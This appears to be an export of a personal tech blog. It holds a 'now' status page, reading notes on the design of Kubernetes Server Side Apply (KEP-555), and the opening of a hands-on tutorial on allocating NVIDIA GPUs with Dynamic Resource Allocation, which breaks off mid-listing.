[{"content":"\u0026ldquo;What\u0026rsquo;cha doin?\u0026rdquo; — Isabella, Phineas and Ferb\n💭 What\u0026rsquo;s Going On # 🎙️ Free from a pile of speaking gigs: I gave three major talks over three consecutive weeks from late July to early August, each on a completely different topic. I\u0026rsquo;ll upload the slides later. 😮‍💨 Tired of social media: I really hate seeing posts that stir up my emotions. Over time, it\u0026rsquo;s left me feeling mentally drained and unable to focus. If I ever stop managing my social presence, I\u0026rsquo;d delete all my social media accounts without hesitation. 🚶 Turning off notifications while walking: For the same reason, I turn on Do Not Disturb as soon as I head out — no games, no distractions. I just walk to work and give my brain a break from constant stimulation. 🚀 Recently Did # 🌐 Trying out a new browser: Since Arc Browser is no longer shipping new features, I\u0026rsquo;ve been looking for a new browser. I was eyeing Orion (promoted by Kagi), but after two days of work I went back to Arc Browser. A few reasons: the 1Password extension doesn\u0026rsquo;t support fingerprint unlock, it feels less smooth than Arc, and the mini window has weaker support for multiple Profiles. I\u0026rsquo;m not sure whether the last two issues are due to Safari or WebKit — let me know if they improve. 🏛️ Presidential Reception: Won the Open Source Contribution Award at IMA 2025 and took a group photo with other awardees and the President. Fun fact: I got a solo shot on the Presidential Office\u0026rsquo;s Flickr — successfully brought Kagamine Rin into the Presidential Office! 🤝 Founded the Kubernetes Taiwan Contributors Community: I collaborated with opensource4you to create a new Slack channel dedicated to discussing contributions to Kubernetes and related subprojects. Want to join? Check out the link. 📚 Recently Reading # 魅力學：無往不利的自我經營術 (The Charisma Myth: How Anyone Can Master the Art and Science of Personal Magnetism): I\u0026rsquo;m currently reading this book. It covers many forms of nonverbal communication and several types of charisma, including focus, kindness, authority, and vision. Expressing them appropriately can have a powerful effect. Becoming charismatic doesn\u0026rsquo;t require going against your own wishes to please others or deliberately changing your personality. 在黑暗中相遇 (Meeting in the Dark): There\u0026rsquo;s the story of Jacob — alone, he encountered God and wrestled with Him. Perhaps it\u0026rsquo;s only when we walk into solitude that we have a chance of encountering the eternal. 多巴胺國度 (Dopamine Nation: Finding Balance in the Age of Indulgence): Pleasure and pain are conjoined twins — if you indulge in pleasure first, pain follows. Drug abuse is a prime example: it delivers 10× the dopamine of sex, completely throwing off the pleasure-pain balance. Conversely, leaning into pain first brings pleasure afterward — but some people chase pain to the point of self-harm. Both sides carry the risk of addiction. Start by observing your own daily behaviors and reclaim your mind-body balance. 🔬 Recently Researching # 🍎 Apple Container: Contributed several PRs — most were merged, and I even appeared in the project\u0026rsquo;s Contributors. 👀 Recently Discovered # 🪞 Can\u0026rsquo;t bring myself to let AI fully take over: At least for now, I write every post myself. AI only handles translation and some grammar polishing (final review and edits are still mine). I have so many topics I want to write about, and I recently tried letting AI take over — but I didn\u0026rsquo;t like the grammar or content it produced. It just didn\u0026rsquo;t feel like me, the way a giant PR makes you not want to review it. In the past, when I\u0026rsquo;d later search and find my own old writing, I could say: \u0026ldquo;Oh right, I researched this before!\u0026rdquo; But if one day I were to stumble across an AI-generated post under my name (none yet), I imagine it would feel foreign — is that author name really me? 🤖 The \u0026ldquo;involuntarily\u0026rdquo; open-sourced Claude Code: I read someone\u0026rsquo;s analysis — it has short-term context, long-term context, and project-shared context. This is pretty much how the human brain works, and I find it fascinating! 🍽️ Recently Eating / Drinking # 🥗 Healthy meals: Eating healthy to lose weight — salad, purple rice, tofu × 2. 💪 Protein powder: Two cups a day. Brand: The Vegan — also picked up the Black Gold VVVIP membership. 🎵 Recently Listening # ピノキオピー (PinocchioP) 愛属性 (Love Attribute): Does love counter other attributes? Or is it countered by them? ねぇねぇねぇ (Hey Hey Hey) まらしぃ (marasy): 新人類 (New Humanity): They performed this at Magical Mirai — the dance was amazing! スマート??? (Smart???) アマツキツネ (10th Anniversary ver.): Original version here — the rearranged version sounds great. 夏山よつぎ: アタシ・ア・ラ・モ〜ド (I\u0026rsquo;m à la mode) Atena: クローンクローン (Clone Clone) ℹ️ What Is This # A few reasons this page exists:\nI want to gradually reduce my social media usage. I rarely post on social media — this page lets you see what I\u0026rsquo;m interested in. I\u0026rsquo;m not great at starting conversations, so this page should come in handy. Inspired by nownownow.com\n","date":"19 August 2026","externalUrl":null,"permalink":"/en/now/","section":"Jerry Yang's Blog","summary":"","title":"ChengHao's Status","type":"page"},{"content":"","date":"19 August 2026","externalUrl":null,"permalink":"/en/","section":"Jerry Yang's Blog","summary":"","title":"Jerry Yang's Blog","type":"page"},{"content":"","date":"27 June 2026","externalUrl":null,"permalink":"/en/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"Server Side Apply (SSA) has been GA since Kubernetes v1.22 (August 2021), and the Kubernetes blog even published a post encouraging everyone to adopt it.\nIn October 2022, Argo CD v2.5.0 announced SSA support. In November 2025, Helm 4.0.0 was released with SSA enabled by default for new releases. So what exactly is \u0026ldquo;SSA\u0026rdquo;?\nLet\u0026rsquo;s dive into \u0026ldquo;KEP-555: Server Side Apply\u0026rdquo; and explore its design principles and context!\nNote This post was written on 2026/6/27, based on this commit\u0026rsquo;s content.\nClient Side Apply # Before introducing SSA, let\u0026rsquo;s understand how kubectl apply originally worked — Client Side Apply (CSA). CSA performs a Three-Way Merge Patch on the client side, then produces a Strategic Merge Patch to send to the apiserver.\nThe three ways refer to:\nDesired Configuration — the YAML being applied this time Last Applied Configuration Live Object — the current state of the object on the apiserver But how does K8s know the content of the last apply? Remember that kubectl.kubernetes.io/last-applied-configuration annotation that shows up in .metadata.annotations whenever you kubectl edit? That\u0026rsquo;s the content from the last apply.\nflowchart TD subgraph inputs[\"Three Inputs of Three-Way Merge Patch\"] A[\"① Desired ConfigurationThe YAML being applied\"] B[\"② Last Applied Configurationkubectl.kubernetes.io/last-applied-configurationannotation storing the last apply content\"] C[\"③ Live ObjectCurrent state on apiserver(including server defaults)\"] end subgraph diff[\"kubectl-side computation\"] D[\"Three-Way Merge PatchCreateThreeWayMergePatch()\"] E[\"Strategic Merge PatchJSON patch payload\"] end A -- \"① vs ②What you changed\" --\u003e D B --\u003e D C -- \"② vs ③What others changed\" --\u003e D D --\u003e E E -- \"PATCH requestContent-Type:strategic-merge-patch+json\" --\u003e F[\"apiserver\"] F -- \"Write back ② annotationto Live Object\" --\u003e B Three inputs, compute a patch, then send it off — the flow seems intuitive, but the real problems are huge!\nWhat\u0026rsquo;s Wrong with CSA? # 1. Merge Logic Depends on the Client Version # The merge computation logic lives in kubectl — the patch is computed first and then sent to the server.\nBut merging relies on field types and schemas, and the server knows these best. Having the client replicate logic that only the server truly has is error-prone and divergence-prone, and any client in a different language has to reimplement it from scratch.\nFurthermore, for maintainers, ensuring the client\u0026rsquo;s merge logic is compatible with ±1 server versions imposes an enormous maintenance burden.\n2. The Organically Grown Strategic Merge Patch # Kubernetes currently provides three patch types:\nJSON Patch (RFC 6902) JSON Merge Patch (RFC 7386) Strategic Merge Patch The default, grandly named \u0026ldquo;Strategic\u0026rdquo; Merge Patch, is not an RFC and has no version control.\nAdditionally, Custom Resources (CR) cannot use Strategic Merge Patch. The merge rules are embedded in Go struct tags (patchStrategy and patchMergeKey). Custom Resource Definitions (CRDs) are not Go structs — they are registered OpenAPI v3 schemas. They ultimately fall back to JSON Merge Patch.\n3. Apply Results Are Unpredictable # Think one-on-one, single-person apply is foolproof? Even a single person repeatedly applying can get unexpected results; once multiple people co-manage resources, it\u0026rsquo;s a complete loss of control.\nAlice and Bob co-manage a Deployment — Alice only cares about resources, Bob only cares about the image version. Under CSA, both must write the complete manifest; there\u0026rsquo;s no way to declare \u0026ldquo;just the fields I\u0026rsquo;m responsible for,\u0026rdquo; so conflicts arise.\nThe only difference between their manifests is the image — Alice has 1.24, Bob wants to upgrade to 1.25, everything else (including resources) is identical.\nalice.yaml 1apiVersion: apps/v1 2kind: Deployment 3metadata: 4 name: web 5spec: 6 replicas: 3 7 selector: 8 matchLabels: 9 app: web 10 template: 11 metadata: 12 labels: 13 app: web 14 spec: 15 containers: 16 - name: nginx 17 image: nginx:1.24 18 resources: 19 requests: 20 memory: \u0026#34;256Mi\u0026#34; 21 limits: 22 memory: \u0026#34;512Mi\u0026#34; bob.yaml 1apiVersion: apps/v1 2kind: Deployment 3metadata: 4 name: web 5spec: 6 replicas: 3 7 selector: 8 matchLabels: 9 app: web 10 template: 11 metadata: 12 labels: 13 app: web 14 spec: 15 containers: 16 - name: nginx 17 image: nginx:1.25 18 resources: 19 requests: 20 memory: \u0026#34;256Mi\u0026#34; 21 limits: 22 memory: \u0026#34;512Mi\u0026#34; Alice applies first, and kubectl.kubernetes.io/last-applied-configuration will contain Alice\u0026rsquo;s version (image still at 1.24).\nThen Bob upgrades image to 1.25 and applies — the annotation now contains Bob\u0026rsquo;s content.\nHere\u0026rsquo;s the problem: suppose Alice wants to tweak the resources she\u0026rsquo;s responsible for, so she re-applies her manifest (which still has image 1.24). kubectl will compare it against Bob\u0026rsquo;s content in the annotation via Three-Way Merge Patch — she only intended to change resources, but Bob\u0026rsquo;s image upgrade from 1.25 gets silently reverted to 1.24, with no warning whatsoever.\nThe KEP\u0026rsquo;s Motivation section even listed it like this:\nUser does POST, then changes something and applies: surprise!\nUser does an apply, then kubectl edit, then applies again: surprise!\nUser does GET, edits locally, then apply: surprise!\nUser tweaks some annotations, then applies: surprise!\nAlice applies something, then Bob applies something: surprise!\nFive scenarios, all \u0026ldquo;surprises\u0026rdquo;!\nWhat is this nice surprise? — Source: Let the Bullets Fly What Does This KEP Aim to Solve? (Goals / Non-Goals) # From the examples above, you should be able to feel the motivation behind this KEP. Its Goals include (the original is lengthy; this is a condensed summary):\nHandle changes from other users, systems, defaulting (including Admission Webhooks), and object schema evolution more robustly. Integrators only need to learn one API concept, rather than learning each API object individually. Users can more intuitively understand what the system will do with their config changes, and the system should tell users why conflicts occur whenever possible. Apply can be invoked from non-Go languages or non-kubectl clients (e.g., curl). Some default behaviors are confusing — imagePullPolicy defaults to IfNotPresent, but if the image tag is latest, imagePullPolicy defaults to Always.\nThis kind of \u0026ldquo;I can\u0026rsquo;t figure out what the system will do\u0026rdquo; confusion is not in scope for this KEP (Non-Goals):\nMulti-object apply will not be changed: it remains client side for now Some sources of user confusion will not be addressed: Changing the name field makes a new object rather than renaming an existing object Changing fields that can\u0026rsquo;t really be changed (e.g., Service type). This KEP only addresses problems caused by CSA\u0026rsquo;s Three-Way Merge Patch + Strategic Merge Patch, reducing inconsistencies between what users apply and the final result.\nMoving to server-side processing sounds good, but how exactly can it solve the problems above?\nHow Does SSA Work? (Proposal \u0026amp; Implementation Details) # The KEP\u0026rsquo;s proposal section briefly lists several changes:\nApply will be moved to the control plane. This is straightforward to understand, though the original design document and the final implementation differ. I\u0026rsquo;ll briefly mention the original design in the Afterword, but the examples and schemas in the document are correct.\nApply is invoked by sending a certain Content-Type with the verb PATCH. A new Content-Type is used with PATCH — this became application/apply-patch+yaml.\nInstead of using a kubectl.kubernetes.io/last-applied-configuration annotation, the control plane will track a \u0026ldquo;manager\u0026rdquo; for every field. No more relying on kubectl.kubernetes.io/last-applied-configuration — the control plane tracks a manager for every field. But what about other modifications like kubectl edit? Let\u0026rsquo;s look at the next statement:\nApply is for users and/or ci/cd systems. We modify the POST, PUT (and non-apply PATCH) verbs so that when controllers or other systems make changes to an object, they are made \u0026ldquo;managers\u0026rdquo; of the fields they change. Other verbs need to be modified so we can know which controller or system changed which fields. How to solve this? This led to FieldManager, with all the information stored in .metadata.managedFields.\nFieldManager # Suppose we have a ConfigMap like this:\ntestcm.yaml1apiVersion: v1 2kind: ConfigMap 3metadata: 4 name: test-cm 5 namespace: default 6 labels: 7 test-label: test 8data: 9 key: some value Apply it with SSA, then list it:\n# Server Side Apply ConfigMap kubectl apply -f testcm.yaml --server-side # Print the ConfigMap \u0026amp; Managed Fields kubectl get cm test-cm -o yaml --show-managed-fields By default, managedFields is not printed — remember to add --show-managed-fields:\n1apiVersion: v1 2data: 3 key: some value 4kind: ConfigMap 5metadata: 6 creationTimestamp: \u0026#34;2026-06-25T15:19:09Z\u0026#34; 7 labels: 8 test-label: test 9 managedFields: 10 - apiVersion: v1 11 fieldsType: FieldsV1 12 fieldsV1: 13 f:data: 14 f:key: {} 15 f:metadata: 16 f:labels: 17 f:test-label: {} 18 manager: kubectl 19 operation: Apply 20 time: \u0026#34;2026-06-25T15:19:09Z\u0026#34; 21 name: test-cm 22 namespace: default 23 resourceVersion: \u0026#34;1530170\u0026#34; 24 uid: 41a6b943-c67c-48e8-9ac2-07323f211cd9 Every field has a manager, indicating who manages it. When an object has multiple managers, it looks like this:\n1apiVersion: v1 2kind: ConfigMap 3metadata: 4 name: test-cm 5 namespace: default 6 labels: 7 test-label: test 8 managedFields: 9 - manager: kubectl 10 operation: Apply 11 time: \u0026#39;2019-03-30T15:00:00.000Z\u0026#39; 12 apiVersion: v1 13 fieldsType: FieldsV1 14 fieldsV1: 15 f:metadata: 16 f:labels: 17 f:test-label: {} 18 - manager: kube-controller-manager 19 operation: Update 20 apiVersion: v1 21 time: \u0026#39;2019-03-30T16:00:00.000Z\u0026#39; 22 fieldsType: FieldsV1 23 fieldsV1: 24 f:data: 25 f:key: {} 26data: 27 key: new value In the above case, kube-controller-manager manages .data.key, and kubectl manages .metadata.labels.test-label.\nFor example, when HPA scales a Deployment, kube-controller-manager modifies the replicas count. At that point, kube-controller-manager takes over managing the replicas field, while users can still update the image version.\nStatus Wiping # However, when SSA was first released in Alpha, if a user\u0026rsquo;s applied content included .status, the FieldManager would assume the user intended to take over .status. When a controller tried to update the status, a conflict would occur. (issue#75564)\nShould the FieldManager just ignore .status entirely? .status is a field like any other and should rightfully have a manager. The KEP states:\nAdditionally ignoring status as a whole is not enough, as it should be possible to own status (and other fields) in some occasions.\nFieldManager dares to ignore Status — Source: BanG Dream! It\u0026rsquo;s MyGO!!!!! So how should the status issue be fixed? We can look at PR#99661\u0026rsquo;s implementation:\n1// ResetFieldsStrategy is an optional interface that a storage object can 2// implement if it wishes to provide the fields reset by its strategies. 3type ResetFieldsStrategy interface { 4 GetResetFields() map[fieldpath.APIVersion]*fieldpath.Set 5} A new ResetFieldsStrategy was added, allowing the FieldManager to reset fields as appropriate.\nFor example, with Deployments, updating the main content wipes .status; updating the status wipes .spec and .metadata. The implementation looks like this:\n1// GetResetFields returns the set of fields that get reset by the strategy 2// and should not be modified by the user. 3func (deploymentStrategy) GetResetFields() map[fieldpath.APIVersion]*fieldpath.Set { 4 fields := map[fieldpath.APIVersion]*fieldpath.Set{ 5 \u0026#34;apps/v1\u0026#34;: fieldpath.NewSet( 6 fieldpath.MakePathOrDie(\u0026#34;status\u0026#34;), 7 ), 8 } 9 10 return fields 11} 12 13// GetResetFields returns the set of fields that get reset by the strategy 14// and should not be modified by the user. 15func (deploymentStatusStrategy) GetResetFields() map[fieldpath.APIVersion]*fieldpath.Set { 16 return map[fieldpath.APIVersion]*fieldpath.Set{ 17 \u0026#34;apps/v1\u0026#34;: fieldpath.NewSet( 18 fieldpath.MakePathOrDie(\u0026#34;spec\u0026#34;), 19 fieldpath.MakePathOrDie(\u0026#34;metadata\u0026#34;, \u0026#34;labels\u0026#34;), 20 ), 21 } 22} Back to the next change in the KEP proposal:\nDry-run will be implemented on control plane verbs (POST, PUT, PATCH). Admission webhooks will have their API appended accordingly. Previously, client-side --dry-run would not go through Admission Webhooks, so you couldn\u0026rsquo;t get the real result. With server-side --dry-run, it runs through the full Admission Webhook modification and validation pipeline.\nThe things our \u0026ldquo;Go IDL\u0026rdquo; describes are formalized: structured merge and diff Existing Go IDL files will be fixed (e.g., by fixing the directives) Kubernetes\u0026rsquo; Go IDL (Interface Definition Language) content is formalized, with a new repo created as structured-merge-diff. Existing Go IDL markers are fixed and supplemented.\nGo IDL # Go IDL plays a crucial role here, governing the entire SSA merge logic. The data types it handles include List, Map, and Struct.\nLists have three processing modes:\nAtomic lists: The default mode — only one manager can manage it, and the entire list gets replaced. Sets: Each element appears at most once, and each element has its own manager. Associative lists: A list that can be used as a dictionary based on designated fields. Kubernetes commonly uses name as the key, and each element has its own manager. Examples of each:\nPod\u0026rsquo;s .spec.containers[].args is an Atomic list (you wouldn\u0026rsquo;t want to see two people\u0026rsquo;s args merged together). .metadata.finalizers is a Set — when a resource is deleted, each Finalizer has its own manager, and each controller removes its owned strings after completing its process. Pod\u0026rsquo;s .spec.containers[] is an Associative list — merging is handled based on each element\u0026rsquo;s name. For Structs and Maps, there are two processing modes:\nGranular: The default mode — each field underneath has its own manager. Atomic: The element has only one manager. If any field underneath changes, the entire thing gets replaced. Examples of each:\n.metadata.labels can have many Labels. For example, Argo CD can manage app.kubernetes.io/instance. Each Label can be independently managed by different controllers, making it Granular. Deployment\u0026rsquo;s .spec.selector contains matchLabels and matchExpressions — these two structs must work together and are tightly coupled, making it Atomic. Data Type Mode Go IDL OpenAPI Extension List Atomic // +listType=atomic x-kubernetes-list-type: atomic List Set // +listType=set x-kubernetes-list-type: set List Map (Associative) // +listType=map // +listMapKey=\u0026lt;key\u0026gt; x-kubernetes-list-type: map x-kubernetes-list-map-keys: [\u0026lt;key\u0026gt;] Map Granular // +mapType=granular x-kubernetes-map-type: granular Map Atomic // +mapType=atomic x-kubernetes-map-type: atomic Struct Granular // +structType=granular x-kubernetes-map-type: granular Struct Atomic // +structType=atomic x-kubernetes-map-type: atomic How Does SSA Solve the Earlier Problems? # Now that we\u0026rsquo;ve seen how SSA works, let\u0026rsquo;s map back to each of the earlier problems:\nMerge logic depends on the client version Merge logic is moved to the server, handled by the entirely new structured-merge-diff, no longer dependent on client-side implementation.\nThe organically grown Strategic Merge Patch Go IDL clearly marks data types and merge logic, enabling CRDs to use the same system. Lists are no longer limited to just the Atomic option.\nApply results are unpredictable FieldManager is introduced — every field has its own manager, and multi-person collaboration no longer results in silent overwrites.\nAlthough object storage size increases by approximately 60%, for the sake of stability and eliminating ambiguity — and considering that most users are IT or SRE professionals — this trade-off is acceptable.\nSummary # SSA not only resolves the uncertainty caused by CSA\u0026rsquo;s complex merge rules and the field ownership problem, but also allows Custom Resources to define merge rules instead of being limited to the default JSON Merge Patch.\nHere\u0026rsquo;s a comparison table for reference:\nItem Server Side Apply Client Side Apply Default merge strategy Structured Merge Diff Strategic Merge Patch Merge rule source OpenAPI schema markers (x-kubernetes-*) Go struct tag (patchStrategy / patchMergeKey) CR merge strategy Structured merge (via OpenAPI schema, supports atomic/set/map) JSON Merge Patch Merge logic as independent library (independently versioned) ✓ ✗ last-applied-configuration annotation Not needed Required for Three-Way Merge Patch (without it, falls back to Two-Way Merge Patch, unable to detect fields that need deletion) Field ownership tracking ✓ ✗ Server dry-run (including Admission Webhook) ✓ ✗ Storage size ~60% increase compared to CSA - Afterword # When reading the original design document, the initial approach was to use Three-Way Merge to infer the owner of each field. But looking at the discussion records, there were concerns it would become the next SMP — the approach was later replaced by the familiar managedFields.\nAlthough this KEP is marked as implementation complete, the original design document included Union comparisons and discriminators. Yet looking back at KEP-555, there\u0026rsquo;s no trace of Union at all.\nI\u0026rsquo;ll leave this as food for thought: Why was Union dropped? Is Union not important? Where did Union go?\nImportant To access the original design documents, you need to join kubernetes-dev@googlegroups.com or kubernetes-announce@googlegroups.com. However, the former is no longer accepting members, leaving only the latter, and there\u0026rsquo;s no guarantee it will continue to exist. I\u0026rsquo;ve backed up the original documents along with the original discussions — details here.\nSSA\u0026rsquo;s design cannot be fully covered in a single article. A dedicated Working Group Apply was created to handle this, and the shared documents contain many designs not mentioned in this article. I\u0026rsquo;ll introduce them when I get the chance.\nReferences # KEP-555: Server Side Apply Server Side Apply Is Great And You Should Be Using It | Kubernetes Blog Server-Side Apply GA | Kubernetes Blog Field Merge Semantics | SIG CLI structured-merge-diff | kubernetes-sigs Working Group Apply | Kubernetes Community kubernetes/kubernetes#75564 - SSA status conflict issue kubernetes/kubernetes#99661 - ResetFieldsStrategy PR ","date":"27 June 2026","externalUrl":null,"permalink":"/en/posts/k8s-ssa-design/","section":"Posts","summary":"Server Side Apply (SSA) has been GA since Kubernetes v1.22 (August 2021), and the Kubernetes blog even published a post encouraging everyone to adopt it.\nIn October 2022, Argo CD v2.5.0 announced SSA support. In November 2025, Helm 4.0.0 was released with SSA enabled by default for new releases. So what exactly is “SSA”?\n","title":"KEP-555 Reading Notes: The Design Principles and Context of Server Side Apply","type":"posts"},{"content":"Hands-on Kubernetes knowledge, including cluster operations, internals, tooling, and real-world troubleshooting.\n","date":"27 June 2026","externalUrl":null,"permalink":"/en/categories/kubernetes/","section":"Categories","summary":"","title":"Kubernetes","type":"categories"},{"content":"","date":"27 June 2026","externalUrl":null,"permalink":"/en/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"27 June 2026","externalUrl":null,"permalink":"/en/tags/ssa/","section":"Tags","summary":"","title":"SSA","type":"tags"},{"content":"","date":"27 June 2026","externalUrl":null,"permalink":"/en/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"10 May 2026","externalUrl":null,"permalink":"/en/tags/dra/","section":"Tags","summary":"","title":"DRA","type":"tags"},{"content":"","date":"10 May 2026","externalUrl":null,"permalink":"/en/tags/gpu/","section":"Tags","summary":"","title":"GPU","type":"tags"},{"content":"Dynamic Resource Allocation (DRA) recently reached GA in Kubernetes v1.35, and I believe many of us are eager to give it a try. Adding to the momentum, NVIDIA has moved dra-driver-nvidia-gpu into Kubernetes SIGs, with the documentation dropping the Beta label — a sign that the technology and its standards are gradually maturing.\nFor this post, I borrowed all the NVIDIA GPUs currently available at CNTUG Infra Labs to learn how to elegantly allocate devices and resources with DRA.\nFriendly Plug: CNTUG Infra Labs # CNTUG Infra Labs was founded to nurture the next generation of students and engineers in Taiwan\u0026rsquo;s software infrastructure field. The lab is hosted in Equinix\u0026rsquo;s Tokyo data center and is jointly funded by several CNTUG community members. Building the environment leverages a stack of open source projects, including OpenStack, Ceph, and Ansible.\nSince infrastructure software has a steep learning curve and requires substantial compute, storage, and network resources, CNTUG Infra Labs aims to provide a cloud platform where students and community members can experiment with and host related services. We hope this will attract more students to engage with — and grow in — the infrastructure space. Spare capacity is also offered to the open source community for hosting services such as websites, Mattermost, and Jitsi Meet, or for workshop events.\nMany users are already actively making open source contributions through this platform — see the use cases for details.\nWith that, let\u0026rsquo;s get back to introducing the lab environment.\nLab Environment # We\u0026rsquo;ll use a Kubernetes cluster built with Cluster API + OpenStack. For brevity, the setup process is omitted here — feel free to refer to other blog posts for the details, or wait for a future post once I finish writing it up.\nOS: Ubuntu 24.04 Kubernetes v1.35.3 Containerd 2.2.2 Node: 1 Control Plane + etcd 3 Workers No GPU T10 * 2 A5000 * 1 NVIDIA GPU Operator v26.3.1 NVIDIA DRA Driver GPU v25.12.0 Running kubectl get node should return something like:\nNAME STATUS ROLES AGE VERSION capi-dralabs-control-plane-xtcth Ready control-plane 8m7s v1.35.3 capi-dralabs-md-0-p4xkh-rpfxc Ready \u0026lt;none\u0026gt; 6m55s v1.35.3 capi-dralabs-md-gpua5000-jw4mx-d64jz Ready \u0026lt;none\u0026gt; 2m37s v1.35.3 capi-dralabs-md-gput10-gzl84-f2m2d Ready \u0026lt;none\u0026gt; 6m49s v1.35.3 Installing NVIDIA GPU Operator # Before installing the GPU Operator, label the Nodes that have GPUs. For my environment, this looks like:\nkubectl label node capi-dralabs-md-gpua5000-jw4mx-d64jz nvidia.com/dra-kubelet-plugin=true kubectl label node capi-dralabs-md-gput10-gzl84-f2m2d nvidia.com/dra-kubelet-plugin=true Add the NVIDIA Chart Repo:\nhelm repo add nvidia https://helm.ngc.nvidia.com/nvidia helm repo update Create a values-gpu-operator.yaml file that we\u0026rsquo;ll use during installation:\nvalues-gpu-operator.yaml1# version: v26.3.1 2devicePlugin: 3 enabled: false 4 5driver: 6 manager: 7 env: 8 - name: NODE_LABEL_FOR_GPU_POD_EVICTION 9 value: \u0026#34;nvidia.com/dra-kubelet-plugin\u0026#34; Note If you\u0026rsquo;re using a different Kubernetes distribution (e.g., Rancher or K3s), the default Containerd installation path may differ — remember to add the following settings to values-gpu-operator.yaml:\n1toolkit: 2 env: 3 - name: CONTAINERD_SOCKET 4 value: /run/k3s/containerd/containerd.sockInstall NVIDIA GPU Operator:\nhelm upgrade --install gpu-operator nvidia/gpu-operator \\ --version=v26.3.1 \\ --create-namespace \\ --namespace gpu-operator -f values-gpu-operator.yaml Wait for the GPU Operator to come up. It will install the NVIDIA GPU Driver and tweak the Container Runtime configuration. For specific tuning needs, refer to the NVIDIA official documentation.\nInstalling NVIDIA DRA Driver GPU # Create a values-nvidia-dra-driver-gpu.yaml file that we\u0026rsquo;ll use during installation:\nvalues-nvidia-dra-driver-gpu.yaml 1# version: 25.12.0 2nvidiaDriverRoot: /run/nvidia/driver 3gpuResourcesEnabledOverride: true 4image: 5 pullPolicy: IfNotPresent 6kubeletPlugin: 7 nodeSelector: 8 nvidia.com/dra-kubelet-plugin: \u0026#34;true\u0026#34; 9resources: 10 gpus: 11 enabled: true 12 computeDomains: 13 enabled: false # No NVLink here 14# featureGates: 15# TimeSlicingSettings: true If you\u0026rsquo;d like to try out Scenario IV\u0026rsquo;s GPU Time Slicing later, you can enable the TimeSlicingSettings Feature Gate now; otherwise, leave it commented out and helm upgrade later when needed.\nInstall NVIDIA DRA Driver GPU:\nhelm upgrade -i nvidia-dra-driver-gpu nvidia/nvidia-dra-driver-gpu \\ --version=\u0026#34;25.12.0\u0026#34; \\ --namespace nvidia-dra-driver-gpu \\ --create-namespace -f values-nvidia-dra-driver-gpu.yaml Use kubectl get pod to confirm the NVIDIA DRA Driver GPU is up:\nkubectl get pod -n nvidia-dra-driver-gpu NAME READY STATUS RESTARTS AGE nvidia-dra-driver-gpu-kubelet-plugin-6skhp 1/1 Running 0 10m nvidia-dra-driver-gpu-kubelet-plugin-jswk6 1/1 Running 0 10m A First Look at DRA # DeviceClass # Once installed, you\u0026rsquo;ll find that DeviceClass and ResourceSlice have been set up by NVIDIA DRA Driver GPU. As the name suggests, DeviceClass represents categories of devices — opening it up reveals regular GPUs, MIG, and VFIO. (If ComputeDomains isn\u0026rsquo;t disabled, you\u0026rsquo;ll also see ComputeDomains information.)\nkubectl get deviceclass DeviceClass example outputNAME AGE gpu.nvidia.com 44m mig.nvidia.com 44m vfio.gpu.nvidia.com 44m ResourceSlice # ResourceSlice is automatically updated by the DRA driver on each node, recording all devices the driver manages on that node.\nDevices on the same node managed by the same driver belong to the same Pool. When the device count exceeds what fits in a single object (up to 128 entries, or 64 if any device uses taints or counters), the driver splits the Pool across multiple ResourceSlices.\n.spec.pool.generation and .spec.pool.resourceSliceCount let the scheduler determine whether it has the complete and latest device list for a given node.\nkubectl get resourceslice ResourceSlice example outputNAME NODE DRIVER POOL AGE capi-dralabs-md-gpua5000-jw4mx-d64jz-gpu.nvidia.com-w9fnv capi-dralabs-md-gpua5000-jw4mx-d64jz gpu.nvidia.com capi-dralabs-md-gpua5000-jw4mx-d64jz 5m13s capi-dralabs-md-gput10-gzl84-f2m2d-gpu.nvidia.com-dtgtc capi-dralabs-md-gput10-gzl84-f2m2d gpu.nvidia.com capi-dralabs-md-gput10-gzl84-f2m2d 23m You can expand the full content with -o yaml:\nkubectl get resourceslices -o yaml Click the panel below to see the full output. Each ResourceSlice records its node in .metadata.ownerReferences and the devices in .spec.devices. Every device carries .attributes including (but not limited to) architecture, product name, and driver version.\nSince each node in this lab has at most 2 GPUs — far below a single ResourceSlice\u0026rsquo;s 128-entry limit — every node only shows one ResourceSlice.\nFull ResourceSlice output 1apiVersion: v1 2items: 3- apiVersion: resource.k8s.io/v1 4 kind: ResourceSlice 5 metadata: 6 creationTimestamp: \u0026#34;2026-05-04T14:40:17Z\u0026#34; 7 generateName: capi-dralabs-md-gpua5000-jw4mx-d64jz-gpu.nvidia.com- 8 generation: 1 9 name: capi-dralabs-md-gpua5000-jw4mx-d64jz-gpu.nvidia.com-w9fnv 10 ownerReferences: 11 - apiVersion: v1 12 controller: true 13 kind: Node 14 name: capi-dralabs-md-gpua5000-jw4mx-d64jz 15 uid: 83aafab6-7eb3-42d0-9faf-6118f78341ef 16 resourceVersion: \u0026#34;11490\u0026#34; 17 uid: d03fd27e-f6cb-4386-ae61-80aa84309e77 18 spec: 19 devices: 20 - attributes: 21 addressingMode: 22 string: HMM 23 architecture: 24 string: Ampere 25 brand: 26 string: NvidiaRTX 27 cudaComputeCapability: 28 version: 8.6.0 29 cudaDriverVersion: 30 version: 13.0.0 31 driverVersion: 32 version: 580.126.20 33 productName: 34 string: NVIDIA RTX A5000 35 resource.kubernetes.io/pciBusID: 36 string: \u0026#34;0000:00:06.0\u0026#34; 37 resource.kubernetes.io/pcieRoot: 38 string: pci0000:00 39 type: 40 string: gpu 41 uuid: 42 string: GPU-e13ce856-7474-797f-d143-16e99b65c0c3 43 capacity: 44 memory: 45 value: 23028Mi 46 name: gpu-0 47 driver: gpu.nvidia.com 48 nodeName: capi-dralabs-md-gpua5000-jw4mx-d64jz 49 pool: 50 generation: 1 51 name: capi-dralabs-md-gpua5000-jw4mx-d64jz 52 resourceSliceCount: 1 53- apiVersion: resource.k8s.io/v1 54 kind: ResourceSlice 55 metadata: 56 creationTimestamp: \u0026#34;2026-05-04T14:21:53Z\u0026#34; 57 generateName: capi-dralabs-md-gput10-gzl84-f2m2d-gpu.nvidia.com- 58 generation: 1 59 name: capi-dralabs-md-gput10-gzl84-f2m2d-gpu.nvidia.com-dtgtc 60 ownerReferences: 61 - apiVersion: v1 62 controller: true 63 kind: Node 64 name: capi-dralabs-md-gput10-gzl84-f2m2d 65 uid: d7ecdc93-1d6c-4868-8503-4251bcf8cf3b 66 resourceVersion: \u0026#34;7408\u0026#34; 67 uid: 66f32713-c547-4369-84de-97f86430d18d 68 spec: 69 devices: 70 - attributes: 71 addressingMode: 72 string: HMM 73 